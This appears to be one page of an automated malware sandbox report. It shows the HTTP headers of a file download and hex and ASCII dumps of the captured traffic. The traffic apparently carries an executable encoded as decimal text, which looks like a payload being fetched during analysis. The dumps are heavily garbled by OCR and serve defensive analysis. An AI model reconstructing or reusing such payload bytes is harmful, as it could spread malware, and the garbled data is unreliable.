Alt-Svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400

Cf-Bgj: h2pri

Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct"
X-goog-generation: 1632427254972338

X-goog-hash: crc32c=rCGZkw==

x-goog-hash: md5=KsX4bykOwSkWswtj+NpuXQ==

X-g00g-metageneration: 1

X-goog-storage-class: STANDARD

x-goog-stored-content-encoding: identity

X-goog-stored-content-length: 1729443

X-GUploader-UploadID: ADPycdsfSu6fJtDW9HkahbvMR-roS5LUPKIi7V3J3d7FUAokax5jZBtayADIbxIAINnHXxVISODwjSXTS
zUsmwOnTRs4zDOFAag8w

X-Robots-Tag: noindex, nofollow, noarchive, nocache, noimageindex, noodp

Report-To: {"endpoints":[{"url":"https:V\V/a.nel.cloudflare.comVreport\\v3?s=zwQ%2BrO8ScAH%2FkFs48lAuzgxuSS%?2
FIBMMsuh%2FO0hiVZtWCR00%2FyQ%2BNiahUHSWBpn0yWPHN9ND56ZkkIBRgY BBADS5ryRmSKZ2RnHihpzCjK2bjhYf
yzcByreiW4ulJy4dqaTb5RqHwW%3D%3D"}],"group™:“cf-nel”,"max_age":604800}

Data Raw: 4e 45 4c 3a 20 7b 22 73 75 63 63 65 73 73 5f 66 72 61 63 74 69 6f 6e 22 3a 30 2c 22 72 65 70 6f 72 74 5f 74 6f
22 3a 22 63 66 2d 6e 65 6¢ 22 2c 22 6d 61 78 5f 61 67 65 22 3a 36 30 34 38 30 30 7d 0d Oa 53 65 72 76 65 72 3a 20 63
6c 6f 75 64 66 6¢ 61 72 65 0d Oa 0d Oa

Data Ascii: NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflare

Data Raw: 37 37 20 39 30 20 31 34 34 20 30 20 33 20 30 20 30 20 30 20 34 20 30 20 30 20 30 20 32 35 35 20 32 35 35

20 3020 30 20 31 38 34 20 30 20 30 20 30 20 30 20 30 20 30 20 30 20 36 34 20 30 20 30 20 30 20 30 20 30 20 30 20 30
20 30 20 30 20 30 20 30 20 30 20 30 20 30 20 30 20 30 20 30 20 30 20 30 20 30 20 30 20 30 20 30 20 30 20 30 20 30 20
30 20 30 20 30 20 30 20 30 20 30 20 30 20 30 20 30 20 31 32 38 20 30 20 30 20 30 20 31 34 20 33 31 20 31 38 36 20 31
3420 30 20 31 38 30 20 39 20 32 30 35 20 33 33 20 31 38 34 20 31 20 37 36 20 32 30 35 20 33 33 20 38 34 20 31 30 34
203130352031313520333220313132203131342031313120313033203131342039372031303920
33322039 392039372031 313020313130203131312031313620

Data Ascii: 77 901440300040002552550018400000006400000000000000000000000000

00000000012800014 311861401809 20533184176 2053384104 10511532 112114 111 103 114 97 109
329997 110110 111 116

Data Raw: 20 30 20 30 20 30 20 30 20 30 20 30 20 30 20 30 20 30 20 30 20 30 20 30 20 30 20 30 20 30 20 30 20 30 20
30 20 30 20 30 20 30 20 30 20 30 20 30 20 30 20 30 20 30 20 30 20 30 20 30 20 30 20 30 20 30 20 30 20 32 35 20 34 30
2032 32 39 20 31 30 39 20 31 31 35 20 35 30 20 34 38 20 35 30 20 35 30 20 38 34 20 31 31 34 20 31 31 37 20 31 34 36
20 31 34 33 20 35 30 20 34 38 20 31 33 38 20 35 34 20 38 34 20 31 31 34 20 31 31 37 20 31 30 39 20 31 31 32 20 35 30
20 31 31 32 20 35 30 20 35 34 20 38 34 20 31 31 34 20 31 31 37 20 31 30 39 20 31 31 32 20 35 30 20 34 38 20 35 30 20
3534 20 38 34 20 31 31 34 20 31 31 37 20 31 30 39 20 31 31 32 20 35 30 20 34 38 20 35 30 20 35 34 20 38 34 20 31 31
34 20 31 31 37 20 31 30 39 20 31 31 32 20 35 30 20 34 38 20 35 30 20 35 34

Data Ascii: 0000000000000000000000000000000000 2540229109 115 50 48 50 50 84 114 117
146 143 50 48 138 54 84 114 117 109 112 50 112 50 54 84 114 117 109 112 50 48 50 54 84 114 117 109 112 50 48 50 54
84114 117 109 112 50 48 50 54

Data Raw: 38 20 32 34 35 20 35 35 20 38 34 20 31 31 34 20 38 35 20 31 30 39 20 31 31 32 20 35 30 20 32 34 38 20 35
31203534 20 38 34 20 31 31 32 20 31 31 37 20 31 30 39 20 31 31 32 20 35 30 20 34 38 20 35 30 20 35 34 20 38 34 20
313134 2031 31 37 20 31 30 39 20 31 31 32 20 35 30 20 34 38 20 31 38 20 35 34 20 38 34 20 31 38 20 39 31 20 33 31
20 32 31 20 39 34 20 39 35 20 38 31 20 35 34 20 38 34 20 31 32 36 20 31 31 37 20 31 30 39 20 31 31 32 20 35 30 20 34
38 20 34 38 20 35 34 20 38 34 20 31 31 32 20 31 31 37 20 31 30 39 20 31 31 32 20 32 34 38 20 34 39 20 35 30 20 35 34
20 38 34 20 31 31 34 20 31 31 37 20 31 30 39 20 31 31 32 20 35 30 20 34 38 20 35 30 20 35 34 20 38 34 20 31 31 34 20
353320 31 30 39 20 31 31 32 20 31 31 32 20 33 30 20 36 34 20 36 39 20 33

Data Ascii: 8 245 55 84 114 85 109 112 50 248 51 54 84 112 117 109 112 50 48 50 54 84 114 117 109 112 50 48 18 54 84
18913121 94 9581 54 84 126 117 109 112 50 48 48 54 84 112 117 109 112 248 49 50 54 84 114 117 109 112 50 48 50
54 84 114 53 109 112 112 30 64 69 3

Data Raw: 31 32 20 31 31 36 20 31 30 39 20 31 31 32 20 35 34 20 39 35 20 31 34 20 35 34 20 38 34 20 31 32 30 20 39
3520 31 30 39 20 39 39 20 32 20 34 39 20 35 30 20 36 31 20 38 34 20 31 31 34 20 31 31 37 20 31 31 30 20 31 31 32 20
3530 20 33 33 20 37 36 20 35 32 20 38 34 20 31 31 34 20 31 31 33 20 32 20 37 37 20 35 30 20 34 38 20 35 36 20 32 38
20 38 34 20 39 37 20 36 39 20 31 30 38 20 31 31 32 20 35 37 20 34 38 20 35 30 20 35 34 20 38 30 20 31 31 34 20 31 31
37 20 31 32 34 20 31 34 20 34 39 20 34 38 20 35 30 20 35 30 20 35 39 20 37 36 20 31 31 37 20 31 30 39 20 31 32 32 20
32 34 20 34 38 20 33 33 20 36 20 38 35 20 31 31 34 20 31 32 36 20 31 30 39 20 31 31 32 20 35 30 20 35 33 20 35 30 20
3534 20 36 39 20 31 32 20 31 31 33 20 31 30 39 20 31 31 32 20 35 34 20 39

Data Ascii: 12 116 109 112 54 95 14 54 84 120 95 109 99 2 49 50 61 84 114 117 110 112 50 33 76 52 84 114 113 2 77 50
48 56 28 84 97 69 108 112 57 48 50 54 80 114 117 124 14 49 48 50 50 59 76 117 109 122 24 48 33 6 85 114 126 109 112
50535054 69 12113 109 11254 9

Data Raw: 20 34 34 20 33 30 20 31 37 31 20 31 31 34 20 31 31 37 20 31 30 37 20 31 30 32 20 31 39 31 20 31 35 35 20
35 3020 35 34 20 38 35 20 39 30 20 36 31 20 31 30 39 20 31 31 32 20 35 36 20 36 37 20 31 32 33 20 35 34 20 38 34 20
313230 20 31 35 20 33 30 20 35 38 20 35 30 20 34 38 20 35 36 20 33 35 20 31 32 31 20 31 31 33 20 38 33 20 37 30 20
31 31 39 20 31 37 38 20 35 36 20 35 30 20 35 34 20 38 30 20 38 39 20 31 31 37 20 31 39 20 31 32 30 20 35 30 20 34 38
20 35 34 20 32 33 30 20 39 32 20 31 31 34 20 31 31 37 20 31 31 38 20 38 38 20 31 31 36 20 34 38 20 35 30 20 36 30 20
36 34 20 32 39 20 36 32 20 31 30 39 20 31 31 32 20 35 36 20 32 34 20 35 34 20 35 34 20 38 34 20 38 39 20 31 31 30 20
36 34 20 31 31 38 20 32 30 20 32 33 37 20 37 38 20 35 34 20 38 34 20 31 31

Data Ascii: 44 30 171 114 117 107 102 191 155 50 54 85 90 61 109 112 56 67 123 54 84 120 15 30 58 50 48 56 35 121
11383 70 119 178 56 50 54 80 89 117 19 120 50 48 54 230 92 114 117 118 88 116 48 50 60 64 29 62 109 112 56 24 54 5
4848911064 118 20 237 78 54 84 11
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Data Raw: 20 31 31 34 20 37 35 20 38 38 20 31 30 33 20 34 38 20 35 30 20 36 30 20 31 32 36 20 38 34 20 39 34 20 31
3534 20 31 31 32 20 34 39 20 30 20 35 36 20 35 34 20 39 31 20 31 31 34 20 31 31 37 20 31 30 39 20 31 31 32 20 35 30
20 34 38 20 35 30 20 35 32 20 37 38 20 31 30 31 20 38 38 20 31 30 36 20 38 36 20 32 36 20 31 31 33 20 35 30 20 35 34
20 39 34 20 38 38 20 38 33 20 37 30 20 31 33 35 20 35 30 20 33 35 20 32 20 35 30 20 38 34 20 31 31 31 20 31 31 37 20
31303920 31313220 3537 20 34 38 20 35 30 20 33 39 20 38 36 20 31 30 33 20 39 38 20 36 34 20 39 38 20 32 30 20
353120 33392034 332031323120 3132352038 33 20 36 39 20 33 34 20 35 30 20 34 38 20 35 36 20 33 30 20 37
2031 313420313137 203130332039 302032302032 3720323232

Data Ascii: 114 75 88 103 48 50 60 126 84 94 154 112 49 0 56 54 91 114 117 109 112 50 48 50 52 78 101 88 106 86 26
1135054 94 88 83 70 135 50 352 50 84 111 117 109 112 57 48 50 39 86 103 98 64 98 20 51 39 43 121 125 83 69 34 50
48 56 30 7 114 117 103 90 20 27 222

Data Raw: 35 30 20 35 39 20 33 37 20 31 31 37 20 31 30 39 20 31 32 32 20 32 36 20 33 37 20 35 31 20 35 34 20 38 32
20 3131 3220 39 39 20 32 34 37 20 34 20 35 36 20 34 38 20 35 30 20 34 35 20 37 34 20 39 35 20 31 32 37 20 37 35 20
31 34 20 35 20 34 38 20 35 30 20 35 30 20 31 32 30 20 39 36 20 39 34 20 31 31 30 20 31 32 32 20 32 35 20 31 39 36 20
37 36 20 30 20 38 34 20 31 31 34 20 31 31 33 20 31 30 37 20 38 38 20 31 30 34 20 34 39 20 35 30 20 34 38 20 31 32 31
203131382039 382031303220 393120343820 333820353720343920313234203130392031313720
313039203131382032342033352032203533203834203631203131372031303920313132203334
20 34 38 20 35 30 20 33 39 20 38 36 20 31 30 30 20 32 33 39 20 32 30 20 36

Data Ascii: 50 59 37 117 109 122 26 37 51 54 82 112 99 247 4 56 48 50 45 74 95 127 75 14 5 48 50 50 120 96 94 110 122
25196 76 0 84 114 113 107 88 104 49 50 48 121 118 98 102 91 48 38 57 49 124 109 117 109 118 24 35253 84 61 117
109 112 34 48 50 39 86 100 239 20 6

Data Raw: 31 38 20 37 36 20 31 30 20 35 30 20 35 34 20 38 30 20 32 39 20 34 33 20 31 30 39 20 31 31 32 20 35 36 20
3335203537 20 31 34 20 31 39 38 20 31 31 34 20 31 31 37 20 31 30 39 20 39 38 20 35 37 20 32 34 20 31 30 39 20 35
3420 38 34 20 31 32 30 20 31 30 32 20 31 30 36 20 31 31 38 20 33 35 20 35 35 20 37 33 20 33 39 20 38 34 20 31 31 34
2031 3133203220 31 36 20 35 30 20 34 38 20 35 36 20 32 36 20 38 31 20 37 34 20 30 20 31 30 39 20 31 31 32 20 35
3020 33392031 37 38 20 36 33 20 38 34 20 31 31 34 20 31 31 33 20 37 37 20 32 30 38 20 32 35 20 32 32 34 20 34 34
203330203137312031313420313137203130372039372035332037352033352035342038342031
3138 20 32 34 39 20 33 37 20 31 31 32 20 35 30 20 34 39 20 32 36 20 31 30

Data Ascii: 18 76 10 50 54 80 29 43 109 112 56 3557 14 198 114 117 109 98 57 24 109 54 84 120 102 106 118 35 55 73
3984114 1132 16 50 48 56 26 81 74 0 109 112 50 39 178 63 84 114 113 77 208 25 224 44 30 171 114 117 107 97 53 75
3554 84 118 249 37 112 50 49 26 10

Data Raw: 31 32 38 20 35 37 20 32 37 20 31 39 35 20 36 39 20 31 32 30 20 31 31 34 20 31 31 37 20 31 30 37 20 31 32

34 20 35 38 20 35 30 20 35 33 20 31 37 32 20 34 35 20 35 38 20 31 31 37 20 31 30 39 20 31 31 33 20 36 37 20 31 32 30
20 35 30 20 35 34 20 38 35 20 31 35 20 31 30 30 20 31 30 39 20 31 31 32 20 35 34 20 35 36 20 34 38 20 34 39 20 36 37
2034 322032 33 39 20 32 30 20 36 36 20 35 30 20 34 38 20 3531 20 37 31 20 31 30 3220 31 31 34 2031 31 37 20 31
303820 31 3320 36 31 20 34 38 20 35 30 20 35 30 20 39 32 20 31 31 32 20 31 31 34 20 31 31 37 20 34 30 20 31 36 38
20 36 38 20 31 3533 20 35 34 20 38 34 20 31 31 35 20 38 20 31 32 35 20 31 31 32 20 35 30 20 35 32 20 35 38 20 35 32
20 38 33 20 31 30 37 20 34 35 20 32 34 37 20 39 20 31 38 20 34 38 20 35 30

Data Ascii: 128 57 27 195 69 120 114 117 107 124 58 50 53 172 45 58 117 109 113 67 120 50 54 85 15 100 109 112 54 56
48 49 67 42 239 20 66 50 48 51 71 102 114 117 108 13 61 48 50 50 92 112 114 117 40 168 68 153 54 84 1158 125 112
50 52 58 52 83 107 45 247 9 18 48 50

Data Raw: 33 20 36 39 20 31 30 30 20 31 31 32 20 32 35 20 34 38 20 35 30 20 35 34 20 38 34 20 31 31 34 20 31 31 37
20 3130 39 20 31 31 34 20 34 39 20 34 34 20 33 31 20 33 39 20 31 31 34 20 38 34 20 31 31 39 20 31 30 35 20 31 30 33
20 33 31 20 33 33 20 32 30 20 31 36 20 38 36 20 31 31 39 20 39 38 20 36 34 20 39 37 20 32 30 20 32 32 20 32 34 20 37
352039352031 31 34 20 31 31 37 20 31 30 35 20 39 31 20 32 31 36 20 37 37 20 36 32 20 35 34 20 38 34 20 31 31 38
20 39 34 20 31 33 35 20 31 33 20 36 33 20 34 38 20 35 30 20 35 30 20 31 32 37 20 31 35 32 20 31 31 37 20 31 32 36 20
36 34 20 35 32 20 34 38 20 31 38 31 20 35 34 20 38 34 20 31 31 34 20 39 37 20 31 30 39 20 31 31 32 20 33 35 20 35 30
20 33 37 20 31 36 37 20 36 36 20 39 34 20 39 34 20 37 3520 31 31 3520 31

Data Ascii: 3 69 100 112 25 48 50 54 84 114 117 109 114 49 44 31 39 114 84 119 105 103 31 33 20 16 86 119 98 64 97
2022247595 114 117 105 91 216 77 62 54 84 118 94 135 13 63 48 50 50 127 152 117 126 64 52 48 181 54 84 114 97 1
09 112 3550 37 167 66 94 94 75 115 1

Data Raw: 31 20 31 30 32 20 33 39 20 32 39 20 33 32 20 31 36 20 34 37 20 31 30 36 20 31 31 37 20 31 30 39 20 31 31
36 20 34 39 20 34 35 20 33 36 20 32 36 20 39 34 20 38 34 20 32 36 20 35 20 31 31 32 20 35 30 20 35 38 20 32 34 20 31
36 20 31 32 37 20 31 35 38 20 38 33 20 37 30 20 31 33 32 20 34 39 20 30 20 35 36 20 35 34 20 31 30 30 20 31 31 34 20
31 31372031 30 39 20 31 31 32 20 35 30 20 34 38 20 35 30 20 35 32 20 37 36 20 31 30 34 20 38 38 20 31 30 33 20 38
36 20 37 33 20 34 30 20 35 30 20 35 34 20 38 30 20 39 35 20 31 31 35 20 37 30 20 31 31 35 20 32 30 20 32 37 20 31 39
38 20 32 38 20 38 36 20 31 31 31 20 31 30 35 20 36 34 20 39 38 20 32 30 20 37 35 20 34 32 20 35 34 20 38 34 20 31 31
3820 31 31 38 20 31 32 30 20 31 30 36 20 33 31 20 35 38 20 32 30 20 38 39

Data Ascii: 1 102 39 29 32 16 47 106 117 109 116 49 45 36 26 94 84 26 5 112 50 58 24 16 127 158 83 70 132 49 0 56 54
100 114 117 109 112 50 48 50 52 76 104 88 103 86 73 40 50 54 80 95 115 70 115 20 27 198 28 86 111 105 64 98 20 75
42 54 84118 118 120 106 31 58 20 89

Data Raw: 39 34 20 31 35 33 20 39 30 20 34 38 20 34 32 20 33 37 20 32 37 20 37 31 20 38 34 20 31 34 20 31 31 36 20
31 313220 35 30 20 35 32 20 34 39 20 34 30 20 37 37 20 39 35 20 31 32 36 20 37 35 20 31 31 36 20 39 33 20 39 35 20
35 30 20 35 34 20 39 34 20 38 38 20 38 33 20 37 30 20 31 35 35 20 32 30 20 32 37 20 31 39 33 20 35 34 20 38 34 20 31
3134 20 31 31 38 20 39 33 20 31 32 32 20 35 30 20 32 33 20 35 30 20 35 34 20 38 34 20 31 31 34 20 31 31 37 20 31 30
39 20 31 31 32 20 34 38 20 34 33 20 34 33 20 32 37 20 39 34 20 38 34 20 31 34 20 31 31 39 20 31 31 32 20 35 30 20 35
322033 31 20 34 38 20 31 32 37 20 31 31 33 20 38 33 20 37 30 20 31 33 32 20 32 34 20 35 30 20 34 32 20 34 32 20 31
32 31 20 31 32 36 20 38 33 20 32 32 20 31 30 36 20 35 30 20 34 38 20 35 34

Data Ascii: 94 153 90 48 42 37 27 71 84 14 116 112 50 52 49 40 77 95 126 75 116 93 95 50 54 94 88 83 70 155 20 27 193
5484 114 118 93 122 50 23 50 54 84 114 117 109 112 48 43 43 27 94 84 14 119 112 50 52 31 48 127 113 83 70 132 24
5042 42 121 126 83 22 106 50 48 54

Data Raw: 20 31 31 37 20 31 30 37 20 31 31 36 20 33 36 20 34 32 20 34 38 20 37 37 20 37 39 20 31 31 34 20 31 31 37
20 31 30 35 20 31 31 20 33 36 20 34 38 20 35 30 20 35 30 20 38 31 20 39 30 20 31 39 34 20 31 30 39 20 31 31 32 20 35
32 20 32 36 20 35 30 20 35 34 20 38 34 20 31 31 33 20 36 39 20 31 30 33 20 31 31 32 20 36 31 20 34 38 20 35 30 20 35
342038 34 20 31 31 34 20 31 31 37 20 31 30 39 20 31 31 35 20 34 36 20 34 33 20 33 31 20 34 39 20 31 31 34 20 39 30
20 32 33 35 20 31 30 39 20 31 31 32 20 35 32 20 32 36 20 32 30 20 32 39 20 31 36 33 20 31 31 34 20 31 31 31 20 36 39
20 32 33 37 20 35 30 20 34 38 20 35 32 20 32 38 20 38 34 20 39 37 20 36 39 20 31 30 35 20 31 31 32 20 31 36 39 20 34
38 20 35 30 20 35 34 20 37 36 20 31 31 34 20 31 31 37 20 31 32 34 20 31 30

Data Ascii: 117 107 116 36 4248 77 79 114 117 105 11 36 48 50 50 81 90 194 109 112 52 26 50 54 84 113 69 103 112
614850 54 84 114 117 109 115 46 43 31 49 114 90 235 109 112 52 26 20 29 163 114 111 69 237 50 48 52 28 84 97 69 1
05112 169 48 50 54 76 114 117 124 10

Page 82 of 118



kBytes
Timestamp transferred

2021-09-27 18:28:01 UTC 3399

2021-09-27 18:28:01 UTC 3400

2021-09-27 18:28:01 UTC 3402

2021-09-27 18:28:01 UTC 3403

2021-09-27 18:28:01 UTC 3405

2021-09-27 18:28:01 UTC 3406

2021-09-27 18:28:01 UTC 3407

2021-09-27 18:28:01 UTC 3409

Copyright Joe Security LLC 2021

Direction

IN

Data

Data Raw: 35 37 20 32 33 38 20 34 36 20 35 38 20 31 32 37 20 31 38 39 20 31 32 30 20 37 30 20 31 36 36 20 37 39 20
31 3834 20 35 30 20 35 34 20 38 30 20 38 39 20 31 36 39 20 36 39 20 36 30 20 35 30 20 34 38 20 35 36 20 33 39 20 38
3020 31 32 31 20 39 33 20 31 32 20 31 31 32 20 35 30 20 35 38 20 32 33 36 20 35 34 20 38 33 20 38 38 20 31 30 39 20
3138 392031 31 33 20 33 34 20 34 38 20 35 30 20 35 34 20 38 34 20 31 32 32 20 31 31 37 20 34 30 20 36 31 20 35 30
2036 3320 31 31 36 20 35 34 20 38 34 20 31 31 35 20 31 30 32 20 39 33 20 31 31 36 20 35 30 20 39 36 20 35 30 20 35
3420 38 34203130 3520 31 31 37 20 31 30 39 20 39 37 20 34 38 20 36 37 20 37 32 20 35 34 20 38 34 20 31 32 30 20
31313020 36 34 20 31 32 33 20 32 30 20 35 35 20 39 33 20 37 35 20 38 34

Data Ascii: 57 238 46 58 127 189 120 70 166 79 184 50 54 80 89 169 69 60 50 48 56 39 80 121 93 12 112 50 58 236 54
83 88109 189 113 34 48 50 54 84 122 117 40 61 50 63 116 54 84 115 102 93 116 50 96 50 54 84 105 117 109 97 48 67 7
25484120 110 64 123 20 55 93 75 84

Data Raw: 39 31 20 32 31 31 20 35 38 20 32 35 20 32 31 38 20 36 39 20 31 31 39 20 32 36 20 32 33 37 20 31 31 32 20
353020 35 38 20 35 38 20 39 32 20 31 33 20 31 31 36 20 32 35 31 20 32 31 38 20 32 36 20 32 36 20 37 31 20 35 30 20
3534 20 39 34 20 32 37 20 31 30 32 20 31 30 37 20 39 37 20 35 35 20 35 34 20 35 38 20 33 39 20 38 32 20 32 39 20 32
34 37 20 31 30 39 20 31 31 32 20 35 36 20 36 31 20 35 38 20 36 33 20 31 32 20 31 32 36 20 31 32 35 20 31 30 37 20 32
353420 31 3333 2033 20 32 33 30 20 33 39 20 38 31 20 32 39 20 31 32 20 31 30 39 20 31 31 32 20 35 36 20 35 34 20
3234203337 2031303020313139203131372036 392031313220 35302034 382034 352035342038 34
2039 39 20 31 31 39 20 31 31 36 20 31 30 34 20 36 35 20 37 30 20 35 30 20

Data Ascii: 91 211 58 25 218 69 119 26 237 112 50 58 58 92 13 116 251 218 26 26 71 50 54 94 27 102 107 97 55 54 58
398229247 109 112 56 61 58 63 12 126 125 107 254 133 3 230 39 81 29 12 109 112 56 54 24 37 100 119 117 69 112 50
48 45 54 84 99 119 116 104 65 70 50

Data Raw: 31 20 32 30 20 32 39 20 31 37 33 20 31 31 32 20 39 38 20 31 31 32 20 39 33 20 35 38 20 32 32 20 39 33 20
3132312038 34 2031 31 34 20 31 31 35 20 37 30 20 39 39 20 32 30 20 32 37 20 31 39 36 20 35 32 20 37 39 20 31 30
30 20 38 39 20 31 30 31 20 38 36 20 39 33 20 39 36 20 35 30 20 35 34 20 38 32 20 38 39 20 31 31 38 20 37 35 20 39 31
20 31 39 36 20 32 36 20 35 30 20 35 34 20 38 37 20 36 36 20 31 32 34 20 31 30 39 20 39 31 20 35 30 20 34 38 20 35 30
203534 203834203131342031313720313131203131203233203438203530203530203132302031
313520393520313131203130332033362032382033362031362031313420313132203134203735
2031 31 32 20 35 30 20 35 32 20 33 36 20 35 32 20 34 37 20 38 36 20 31 31

Data Ascii: 1 2029 173 112 98 112 93 58 22 93 121 84 114 115 70 99 20 27 196 52 79 100 89 101 86 93 96 50 54 82 89
118 75 91 196 26 50 54 87 66 124 109 91 50 48 50 54 84 114 117 111 11 23 48 50 50 120 115 95 111 103 36 28 36 16 1
14112 1475 112 50 52 36 52 47 86 11

Data Raw: 20 38 34 20 31 31 34 20 31 31 37 20 37 39 20 31 31 32 20 35 30 20 33 33 20 34 38 20 37 37 20 31 32 35 20
3131342031 3137 203130352031 30352033 31203537 203230203438 203132342032353120313137
2031 30 39 20 31 32 32 20 32 35 20 35 31 20 35 36 20 32 39 20 31 36 31 20 31 31 32 20 31 34 20 36 38 20 31 31 32 20
353020 353220 34 39 20 38 39 20 32 31 36 20 31 31 34 20 31 31 37 20 31 30 33 20 39 32 20 32 39 20 35 30 20 37 33
203331203834 20313134203131332031 313020333120 313931203438 2035302036 302038302039
3020 333920 31 30 39 20 31 31 32 20 35 36 20 39 35 20 39 37 20 35 34 20 38 34 20 31 32 30 20 38 39 20 31 31 31 20
3137 34203131 332035302037 33203331203834203131342031

Data Ascii: 84 114 117 79 112 50 33 48 77 125 114 117 105 105 31 57 20 48 124 251 117 109 122 25 51 56 29 161 112
14 68 112 50 52 49 89 216 114 117 103 92 29 50 73 31 84 114 113 110 31 191 48 50 60 80 90 39 109 112 56 95 97 54 84
1208911117411350733184 1141

Data Raw: 39 33 20 31 36 34 20 38 34 20 31 31 34 20 31 32 37 20 31 31 32 20 39 33 20 35 32 20 32 32 20 32 35 20 31
32 2038 38 20 38 39 20 31 35 33 20 31 30 32 20 39 31 20 32 30 32 20 35 36 20 33 32 20 34 38 20 37 30 20 31 31 35 20
39 33 20 32 35 34 20 31 31 32 20 35 30 20 35 38 20 33 33 20 35 30 20 37 30 20 31 31 38 20 39 33 20 32 34 39 20 31 31
32 20 3530 20 35 38 20 33 32 20 35 35 20 31 32 34 20 32 32 35 20 31 31 37 20 31 30 39 20 31 32 32 20 33 33 20 35 33
20 33 3220 3531 20 31 32 34 20 32 33 31 20 31 31 37 20 31 30 39 20 31 32 32 20 32 36 20 39 38 20 35 30 20 35 34 20
39 34 20 39 30 20 32 32 37 20 31 30 39 20 31 31 32 20 35 36 20 33 33 20 35 32 20 38 39 20 31 39 35 20 31 31 34 20 31
31 37 20 31 30 33 20 39 38 20 35 31 20 32 34 20 31 37 30 20 35 34 20 38 34

Data Ascii: 93 164 84 114 127 112 93 52 22 25 12 88 89 153 102 91 202 56 32 48 70 115 93 254 112 50 58 33 50 70 118
93 249 112 50 58 32 55 124 225 117 109 122 33 53 32 51 124 231 117 109 122 26 98 50 54 94 90 227 109 112 56 33 52
89195 114 117 103 98 51 24 170 54 84

Data Raw: 32 36 20 37 33 20 35 30 20 35 34 20 38 32 20 39 30 20 31 34 20 31 30 39 20 31 31 32 20 35 32 20 32 34 20
37 3820 35 34 20 38 34 20 31 31 36 20 39 33 20 31 35 20 31 31 32 20 35 30 20 35 34 20 32 36 20 38 32 20 38 34 20 31
3134 20 31 31 35 20 31 39 20 37 31 20 35 30 20 34 38 20 35 34 20 32 36 20 39 34 20 39 30 20 31 38 20 31 30 39 20 31
313220 3532 20 32 34 20 38 34 20 35 34 20 38 34 20 31 31 36 20 39 33 20 32 34 30 20 31 31 32 20 35 30 20 35 34 20
32 36 20 31 30 35 20 38 34 20 31 31 34 20 31 31 35 20 36 39 20 32 35 30 20 35 30 20 34 38 20 35 32 20 32 38 20 38 34
2031 31 3420 31 31 37 20 31 31 30 20 36 34 20 35 34 20 34 38 20 37 37 20 35 34 20 38 34 20 31 31 34 20 31 31 37 20
31303920 31 31 32 20 35 30 20 32 34 20 31 38 33 20 35 34 20 38 34 20 31

Data Ascii: 26 73 50 54 82 90 14 109 112 52 24 78 54 84 116 93 15 112 50 54 26 82 84 114 115 19 71 50 48 54 26 94 90
18 109 112 52 24 84 54 84 116 93 240 112 50 54 26 105 84 114 115 69 250 50 48 52 28 84 114 117 110 64 54 48 77 54
84114 117 109 11250 24 18354 84 1

Data Raw: 33 20 38 35 20 31 37 20 32 30 35 20 32 30 37 20 32 30 35 20 35 34 20 37 39 20 36 36 20 31 31 33 20 31 30
39 20 33 20 35 30 20 34 38 20 35 30 20 31 37 20 38 34 20 31 31 34 20 31 30 30 20 37 37 20 33 34 20 31 38 20 32 32 34
20 34 34 20 33 30 20 31 37 31 20 31 31 34 20 31 31 37 20 31 30 37 20 38 38 20 31 33 35 20 34 38 20 35 30 20 34 38 20
34 3220 36 34 20 31 31 37 20 31 30 39 20 31 31 36 20 39 33 20 31 36 32 20 35 30 20 35 34 20 39 34 20 31 30 36 20 38
38 20 31 31 30 20 38 36 20 32 35 20 31 30 20 35 37 20 32 39 20 31 37 35 20 39 36 20 31 31 36 20 36 39 20 32 32 37 20
35 30 20 34 38 20 35 36 20 34 34 20 31 32 31 20 38 38 20 38 33 20 37 37 20 32 20 31 38 20 32 32 34 20 34 34 20 33 30
203137 312031 31342031 3137 20 31 30 37 20 39 38 20 35 30 20 32 34

Data Ascii: 3 85 17 205 207 205 54 79 66 113 109 3 50 48 50 17 84 114 100 77 34 18 224 4430 171 114 117 107 88 135
48 50 48 42 64 117 109 116 93 162 50 54 94 106 88 110 86 25 10 57 29 175 96 116 69 227 50 48 56 44 121 88 83 77 2 18
2244430171114 117 107 98 50 24

Data Raw: 20 33 31 20 32 30 39 20 32 33 36 20 36 20 37 30 20 31 32 31 20 31 33 39 20 31 32 33 20 31 30 34 20 35 30
20 34 38 20 34 31 20 38 39 20 35 35 20 31 31 34 20 31 31 37 20 31 30 33 20 31 37 32 20 32 33 36 20 31 36 20 32 33 20
333020 32 34 20 31 31 34 20 31 31 37 20 31 30 33 20 39 39 20 35 33 20 33 33 20 35 33 20 32 32 20 36 34 20 38 32 20
31 36 3520 31 31 35 20 38 38 20 32 30 35 20 34 38 20 35 30 20 34 38 20 31 32 34 20 31 39 38 20 31 31 37 20 31 30 39
20 31 31 38 20 32 36 20 38 31 20 35 30 20 35 34 20 39 34 20 31 37 32 20 31 31 37 20 37 31 20 31 30 33 20 33 37 20 34
39 20 32 36 20 35 34 20 38 34 20 31 31 32 20 31 31 37 20 31 39 20 31 31 32 20 31 31 32 20 32 34 30 20 35 30 20 35 36
20 38 34 20 31 31 34 20 31 31 37 20 31 30 39 20 31 31 34 20 35 30 20 32 35

Data Ascii: 31 209 236 6 70 121 139 123 104 50 48 41 89 55 114 117 103 172 236 16 23 30 24 114 117 103 99 53 33 53
22 64 82 165 115 88 205 48 50 48 124 198 117 109 118 26 81 50 54 94 172 117 71 103 37 49 26 54 84 112 117 19112 1
12 24050 56 84 114 117 109 114 50 25
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Data Raw: 37 39 20 32 34 32 20 36 36 20 31 30 39 20 31 31 32 20 35 34 20 37 38 20 35 20 35 34 20 38 34 20 31 31 38
20393320 31 33 20 31 31 33 20 35 30 20 35 34 20 31 37 38 20 30 20 38 34 20 31 31 34 20 31 31 3320 31 31 37 20 31
323120 313838 203133352033 37203131312037 3120313137 2031303220 3130352037 3220323136
20 34 38 20 35 30 20 35 34 20 37 30 20 31 31 39 20 31 33 39 20 31 32 30 20 39 36 20 35 30 20 34 38 20 34 38 20 33 36
2038 312031323320 31303020 313035203233 342037 352031323020 35 30 20 35 34 20 38 35 20 33 20 36
3120313039203131322035312037 372034 352035342038 342031313820 31303320 313034203132
312033 352035322033 3720313130203230362031 3120373120

Data Ascii: 79 242 66 109 112 54 78 554 84 118 9313 1135054 178 0 84 114 113 117 121 188 135 37 111 71 117 102
105 72 216 48 50 54 70 119 139 120 96 50 48 48 36 81 123 100 105 234 75 120 50 54 85 3 61 109 112 51 77 45 54 84 11
8103 104 121 3552 37 110 206 11 71

